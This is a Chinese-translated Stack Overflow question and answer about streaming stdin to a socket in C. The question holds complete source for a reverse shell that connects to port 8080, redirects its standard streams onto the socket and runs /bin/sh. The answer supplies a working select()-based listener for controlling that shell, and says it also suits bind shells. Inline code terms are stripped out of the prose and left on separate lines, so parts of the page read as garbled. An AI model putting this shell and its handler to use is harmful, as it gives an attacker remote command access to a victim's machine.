提问人:ty_c0der 提问时间:2/16/2021 最后编辑:Jonathan Hallty_c0der 更新时间:2/16/2021 访问量:903
将 stdin 流式传输到套接字
Streaming stdin to a socket
问:
在 Python 3 中,我可以利用 的库来使用/导入方法,这可以让我流式传输到传递给该方法的方法。此外,它还提供了类似的功能(当然,除了能够在 Python 3 中以编程方式传递 a),例如: .telnetlib
interact
stdin
socket
interact
netcat
socket
nc -nvlp 8080
我的问题是:
有没有办法以编程方式复制 的方法/将流流式传输到 C 中的给定行为?还是这个过程很复杂?如果它过于简单,那么该方法的逻辑如何在 C 语言中复制?telnetlib
interact
stdin
socket
interact
例如,假设我正在运行一个简单的客户端 C 反向 shell 程序,类似于 SSH,用于将 、 流式传输到复制的套接字。我如何在 C 语言中以编程方式与此客户端进行通信?dup2
stdin
stdout
stderr
file descriptor
我正在尝试以编程方式与之通信的示例 C 客户端:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
for (int i=0; i<3; i++)
dup2(s, i);
execve("/bin/sh", 0, 0);
return 0;
}
总而言之:我基本上是尝试在 C 中以编程方式与提供的客户端进行通信。
答:
0赞
Armali
2/16/2021
#1
我基本上是尝试在 C 中以编程方式与提供的客户端进行通信。
一个做你想做的事的程序不需要很大;下面是一个简单的示例:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(PORT);
int s = socket(AF_INET, SOCK_STREAM, 0);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) perror("bind"), exit(1);
listen(s, 0);
int t = accept(s, NULL, NULL);
if (t < 0) perror("accept"), exit(1);
fd_set fds, fdr;
FD_ZERO(&fds);
FD_SET(0, &fds); // add STDIN to the fd set
FD_SET(t, &fds); // add connection to the fd set
while (fdr = fds, select(t+1, &fdr, NULL, NULL, NULL) > 0)
{ char buf[BUFSIZ];
if (FD_ISSET(0, &fdr))
{ // this is the user's input
size_t count = read(0, buf, sizeof buf);
if (count > 0) write(t, buf, count);
else break; // no more input from user
}
if (FD_ISSET(t, &fdr))
{ // this is the client's output or termination
size_t count = read(t, buf, sizeof buf);
if (count > 0) write(1, buf, count);
else break; // no more data from client
}
}
}
关键部分是循环,它检查 STDIN 或套接字连接是否可读,并将读取的数据复制到另一端。select
评论
1赞
ty_c0der
2/16/2021
瞧!这很完美,正是我需要学习的!
0赞
ty_c0der
2/16/2021
出于好奇,这是否以相反的方式工作,例如连接到绑定 tcp 反向 shell?
0赞
Armali
2/16/2021
是的,循环的工作方式与连接的建立方式无关。select
上一个:MSVC 手动链接 stdlib
下一个:va_list总是静态的吗?
评论
telnetlib
interact
netcat